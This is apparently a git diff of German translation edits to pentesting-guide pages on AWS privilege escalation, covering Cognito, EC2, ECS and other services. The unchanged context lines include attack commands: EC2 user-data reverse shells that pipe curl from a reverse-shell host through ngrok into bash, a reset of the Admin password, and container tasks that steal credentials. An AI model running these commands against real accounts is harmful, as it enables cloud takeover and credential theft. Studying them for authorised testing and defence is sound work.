-Auch **lade** diese `leere zip` Datei in den **bucket** hoch:
+Lade auch diese `leere zip` Datei in den **bucket** hoch:
{% file src="../../../../images/empty.zip" %}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index c7e8ed78b..44faba0ba 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -4,7 +4,7 @@
## Cognito
-Für weitere Informationen zu Cognito siehe:
+Für weitere Informationen über Cognito siehe:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -16,7 +16,7 @@ Da Cognito **IAM-Rollenanmeldeinformationen** sowohl an **authentifizierte** als
Für weitere Informationen [**siehe diese Seite**](../aws-unauthenticated-enum-access/#cognito).
-**Potenzielle Auswirkungen:** Direkte privesc zu der Dienstrolle, die an unauthentifizierte Benutzer angehängt ist (und wahrscheinlich auch zu der, die an authentifizierte Benutzer angehängt ist).
+**Potenzielle Auswirkungen:** Direkter privesc auf die Dienstrolle, die an unauthentifizierte Benutzer angehängt ist (und wahrscheinlich auch an die, die an authentifizierte Benutzer angehängt ist).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
@@ -38,7 +38,7 @@ Wenn die Cognito-App **keine nicht authentifizierten Benutzer aktiviert hat**, b
### `cognito-identity:update-identity-pool`
-Ein Angreifer mit dieser Berechtigung könnte beispielsweise einen Cognito-Benutzerpool unter seiner Kontrolle oder einen anderen Identitätsanbieter festlegen, bei dem er sich anmelden kann, **um auf diesen Cognito-Identitätspool zuzugreifen**. Dann wird ihm nur **die Anmeldung** bei diesem Benutzeranbieter **ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen**.
+Ein Angreifer mit dieser Berechtigung könnte beispielsweise einen Cognito-Benutzerpool unter seiner Kontrolle oder einen anderen Identitätsanbieter festlegen, bei dem er sich anmelden kann, **um auf diesen Cognito-Identitätspool zuzugreifen**. Dann wird ihm nur die **Anmeldung** bei diesem Benutzeranbieter **ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
```
-Es ist auch möglich, diese Berechtigung zu **missbrauchen, um die grundlegende Authentifizierung zu ermöglichen**:
+Es ist auch möglich, diese Berechtigung zu **missbrauchen, um eine grundlegende Authentifizierung zu ermöglichen**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id \
@@ -84,7 +84,7 @@ aws cognito-idp admin-add-user-to-group \
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-Ein Angreifer mit diesen Berechtigungen könnte **Gruppen erstellen/aktualisieren** mit **jeder IAM-Rolle, die von einem kompromittierten Cognito-Identitätsanbieter verwendet werden kann**, und einen kompromittierten Benutzer Teil der Gruppe machen, wodurch auf all diese Rollen zugegriffen werden kann:
+Ein Angreifer mit diesen Berechtigungen könnte **Gruppen erstellen/aktualisieren** mit **jeder IAM-Rolle, die von einem kompromittierten Cognito Identity Provider verwendet werden kann**, und einen kompromittierten Benutzer Teil der Gruppe machen, wodurch auf all diese Rollen zugegriffen werden kann:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn
```
@@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id -
### `cognito-idp:AdminConfirmSignUp`
-Diese Berechtigung ermöglicht es, **eine Anmeldung zu bestätigen**. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn dies so bleibt, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren.
+Diese Berechtigung ermöglicht es, **eine Anmeldung zu bestätigen**. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn das so bleibt, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
@@ -111,17 +111,17 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem er in der Lage ist, jeden Benutzer zu erstellen.
+**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem man in der Lage ist, jeden Benutzer zu erstellen.
### `cognito-idp:AdminEnableUser`
-Diese Berechtigung kann in einem sehr speziellen Szenario hilfreich sein, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und er ihn **wieder aktivieren** muss.
+Diese Berechtigungen können in einem sehr speziellen Szenario hilfreich sein, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und er ihn **wieder aktivieren** muss.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id \
--username
```
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer über Anmeldeinformationen für einen deaktivierten Benutzer verfügte.
+**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer Anmeldeinformationen für einen deaktivierten Benutzer hatte.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
@@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. [Überprüfen Sie die CLI hier](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zu potenziell jedem Benutzer, dessen Anmeldeinformationen der Angreifer kennt, dies könnte es ermöglichen, den MFA-Schutz zu umgehen.
+**Potential Impact:** Indirekte Privilegieneskalation zu potenziell jedem Benutzer, dessen Anmeldeinformationen der Angreifer kennt, dies könnte es ermöglichen, den MFA-Schutz zu umgehen.
### `cognito-idp:AdminUpdateUserAttributes`
-Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erlangen.\
+Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erhalten.\
Dies ermöglicht es, eine E-Mail-Adresse oder Telefonnummer zu ändern und sie als verifiziert festzulegen.
```bash
aws cognito-idp admin-update-user-attributes \
@@ -178,13 +178,13 @@ aws cognito-idp admin-update-user-attributes \
--username \
--user-attributes
```
-**Potenzielle Auswirkungen:** Potenzieller indirekter Privilegienausbau in der zugrunde liegenden Anwendung, die den Cognito User Pool verwendet und Privilegien basierend auf Benutzerattributen gewährt.
+**Potenzielle Auswirkungen:** Potenzieller indirekter Privilegienausbau in der zugrunde liegenden Anwendung, die Cognito User Pool verwendet und Privilegien basierend auf Benutzerattributen gewährt.
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Ein Angreifer mit dieser Berechtigung könnte **einen neuen User Pool Client erstellen, der weniger eingeschränkt ist** als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client jede Art von Methode zur Authentifizierung zulassen, kein Geheimnis haben, die Token-Widerrufung deaktiviert haben und Tokens für einen längeren Zeitraum gültig sein lassen...
-Das gleiche kann getan werden, wenn anstelle der Erstellung eines neuen Clients ein **bestehender modifiziert wird**.
+Das gleiche kann getan werden, wenn anstatt einen neuen Client zu erstellen, ein **bestehender modifiziert wird**.
In der [**Befehlszeile**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (oder dem [**Update**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) können Sie alle Optionen sehen, überprüfen Sie es!
```bash
@@ -214,7 +214,7 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
-(In dem Fall, dass Sie einen neuen Importauftrag erstellen, benötigen Sie möglicherweise auch die iam passrole-Berechtigung, ich habe es noch nicht getestet).
+(Im Falle, dass Sie einen neuen Importauftrag erstellen, benötigen Sie möglicherweise auch die iam passrole-Berechtigung, ich habe es noch nicht getestet).
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem Sie jeden Benutzer erstellen können.
@@ -239,7 +239,7 @@ Dies ist eine sehr häufige Berechtigung, die standardmäßig in Rollen von Cogn
Diese Berechtigung erlaubt das Lesen von Benutzerinformationen der Identitätspools und Identitäts-IDs innerhalb der Identitätspools (was keine sensiblen Informationen sind).\
Identitäts-IDs könnten [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) zugewiesen sein, die Informationen über die Sitzungen enthalten (AWS definiert es als **gespeichertes Spiel**). Es könnte möglich sein, dass dies eine Art von sensiblen Informationen enthält (aber die Wahrscheinlichkeit ist ziemlich gering). Sie können auf der [**Aufzählungsseite**](../aws-services/aws-cognito-enum/) nachlesen, wie Sie auf diese Informationen zugreifen können.
-Ein Angreifer könnte auch diese Berechtigungen nutzen, um **sich selbst in einen Cognito-Stream einzuschreiben, der Änderungen** an diesen Datasets veröffentlicht oder eine **Lambda-Funktion, die bei Cognito-Ereignissen ausgelöst wird**. Ich habe nicht gesehen, dass dies verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich.
+Ein Angreifer könnte auch diese Berechtigungen nutzen, um **sich selbst in einen Cognito-Stream einzuschreiben, der Änderungen an diesen Datasets veröffentlicht** oder eine **Lambda-Funktion, die bei Cognito-Ereignissen ausgelöst wird**. Ich habe nicht gesehen, dass dies verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich.
### Automatische Tools
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index de4217d8e..6545fef87 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -52,7 +52,7 @@ Nach der Erstellung der Pipeline aktualisiert der Angreifer deren Definition, um
> [!NOTE]
> Beachten Sie, dass die **Rolle** in **Zeile 14, 15 und 27** eine Rolle sein muss, die **von datapipeline.amazonaws.com übernommen werden kann**, und die Rolle in **Zeile 28** muss eine **Rolle sein, die von ec2.amazonaws.com mit einem EC2-Profil-Instanz übernommen werden kann**.
>
-> Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (d.h. Sie können nur diese stehlen).
+> Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (Sie können also nur diese stehlen).
```bash
aws datapipeline put-pipeline-definition --pipeline-id \
--pipeline-definition file:///pipeline/definition.json
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 87ce3ddaa..95a06fe8f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -12,8 +12,8 @@ Für weitere Informationen zu Verzeichnisdiensten siehe:
### `ds:ResetUserPassword`
-Diese Berechtigung erlaubt es, das **Passwort** eines **existierenden** Benutzers im Active Directory zu **ändern**.\
-Standardmäßig ist der einzige existierende Benutzer **Admin**.
+Diese Berechtigung erlaubt es, das **Passwort** eines **vorhandenen** Benutzers im Active Directory zu **ändern**.\
+Standardmäßig ist der einzige vorhandene Benutzer **Admin**.
```
aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123.
```
@@ -27,6 +27,6 @@ Und dann **ihnen eine AWS IAM-Rolle zu gewähren**, wenn sie sich anmelden, soda
-Offensichtlich gibt es keine Möglichkeit, die Anwendungszugriffs-URL, die AWS Management Console zu aktivieren und Berechtigungen zu gewähren.
+Offensichtlich gibt es keinen Weg, die Anwendungszugriffs-URL, die AWS Management Console zu aktivieren und Berechtigungen zu gewähren.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 36ab00c6a..435f33492 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -4,7 +4,7 @@
## dynamodb
-Für weitere Informationen zu dynamodb siehe:
+Für weitere Informationen über dynamodb siehe:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@ Für weitere Informationen zu dynamodb siehe:
### Post Exploitation
-Soweit ich weiß, gibt es **keinen direkten Weg, um Privilegien in AWS nur durch einige AWS `dynamodb` Berechtigungen zu eskalieren**. Sie können **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post Exploitation-Seite** berücksichtigt:
+Soweit ich weiß, gibt es **keinen direkten Weg, um Privilegien in AWS nur durch einige AWS `dynamodb` Berechtigungen zu eskalieren**. Du kannst **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post Exploitation-Seite** berücksichtigt:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 257ba78b6..23de00a1a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,7 +6,7 @@
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-Ein Angreifer mit diesen Berechtigungen wird potenziell in der Lage sein, **Volumes-Snapshots lokal herunterzuladen und zu analysieren** und nach sensiblen Informationen darin zu suchen (wie Geheimnisse oder Quellcode). Finden Sie heraus, wie Sie dies tun können in:
+Ein Angreifer mit diesen Berechtigungen wird in der Lage sein, **Volumes-Snapshots lokal herunterzuladen und zu analysieren** und nach sensiblen Informationen darin zu suchen (wie Geheimnisse oder Quellcode). Finden Sie heraus, wie Sie dies tun können in:
{{#ref}}
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -20,7 +20,7 @@ Das Tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Fl
### **`ec2:CreateSnapshot`**
-Jeder AWS-Benutzer, der die Berechtigung **`EC2:CreateSnapshot`** besitzt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz, die er kontrolliert, anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
+Jeder AWS-Benutzer, der die Berechtigung **`EC2:CreateSnapshot`** besitzt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz anbindet, die er kontrolliert, und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
Sie können dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 04da553a8..842848405 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -4,7 +4,7 @@
## EC2
-Für mehr **Infos über EC2** siehe:
+Für mehr **Informationen über EC2** siehe:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Zugriff über rev shell in Benutzerdaten**
-Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Sie müssen auf diese Weise keine Sicherheitsgruppe angeben.
+Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Auf diese Weise müssen Sie keine Sicherheitsgruppe angeben.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -67,7 +67,7 @@ aws-ecs-privesc.md
Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie in der Lage sein, die Instanz im Cluster zu registrieren und den kommentierten Angriff durchzuführen.
-**Potenzielle Auswirkungen:** Direkter Privesc auf ECS-Rollen, die an Aufgaben angehängt sind.
+**Potenzielle Auswirkungen:** Direkter Privilegieneskalation zu ECS-Rollen, die an Aufgaben angehängt sind.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **sie nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz **verknüpfen:**
+Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz verknüpfen:
- Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen bestimmten Instanzprofilstatus besitzen).
+**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Mit diesen Berechtigungen ist es möglich, das Instanzprofil, das mit einer Instanz verbunden ist, zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene ändert.
-- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **verbinden** \*
+- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren** \*
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
@@ -104,7 +104,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
````
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus haben).
+**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -123,7 +123,7 @@ aws ec2 request-spot-instances \
Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanzen ändern. Unter ihnen kann er **die Benutzerdaten ändern**, was bedeutet, dass er die Instanz **beliebige Daten ausführen** lassen kann. Dies kann verwendet werden, um eine **Rev Shell zur EC2-Instanz** zu erhalten.
-Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`**.
+Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher sind die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** erforderlich.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -164,7 +164,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **rev shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die rev shell ausführen.
+Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Startkonfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoskalierungsgruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um die **IAM-Rolle** zu **stehlen**.
+Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
-Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der in der Launch-Konfiguration oder im Launch-Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
+Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
### `ec2-instance-connect:SendSSHPublicKey`
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index 5beaca838..53d283b3d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -20,7 +20,7 @@ Für weitere Informationen zum Herunterladen von Bildern:
Ein Angreifer mit all diesen Berechtigungen **kann sich bei ECR anmelden und Bilder hochladen**. Dies kann nützlich sein, um Privilegien in andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden.
-Um zu lernen, wie man ein neues Bild hochlädt/aktualisiert, siehe:
+Um zu lernen, wie man ein neues Bild hochlädt oder ein bestehendes aktualisiert, siehe:
{{#ref}}
../aws-services/aws-eks-enum.md
@@ -91,7 +91,7 @@ aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name
### `ecr:PutRegistryPolicy`
-Ein Angreifer mit dieser Berechtigung könnte **die** **Registry-Richtlinie** **ändern**, um sich selbst, seinem Konto (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren.
+Ein Angreifer mit dieser Berechtigung könnte die **Registry-Richtlinie** **ändern**, um sich selbst, seinem Konto (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren.
```bash
aws ecr set-repository-policy \
--repository-name \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 302cfd8cd..3828ae103 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -12,7 +12,7 @@ Mehr **Info über ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführen**.
+Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Aufgabenbeschreibung generieren** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt und **diesen ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.**
+Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.**
```bash
# Generate task definition with rev shell
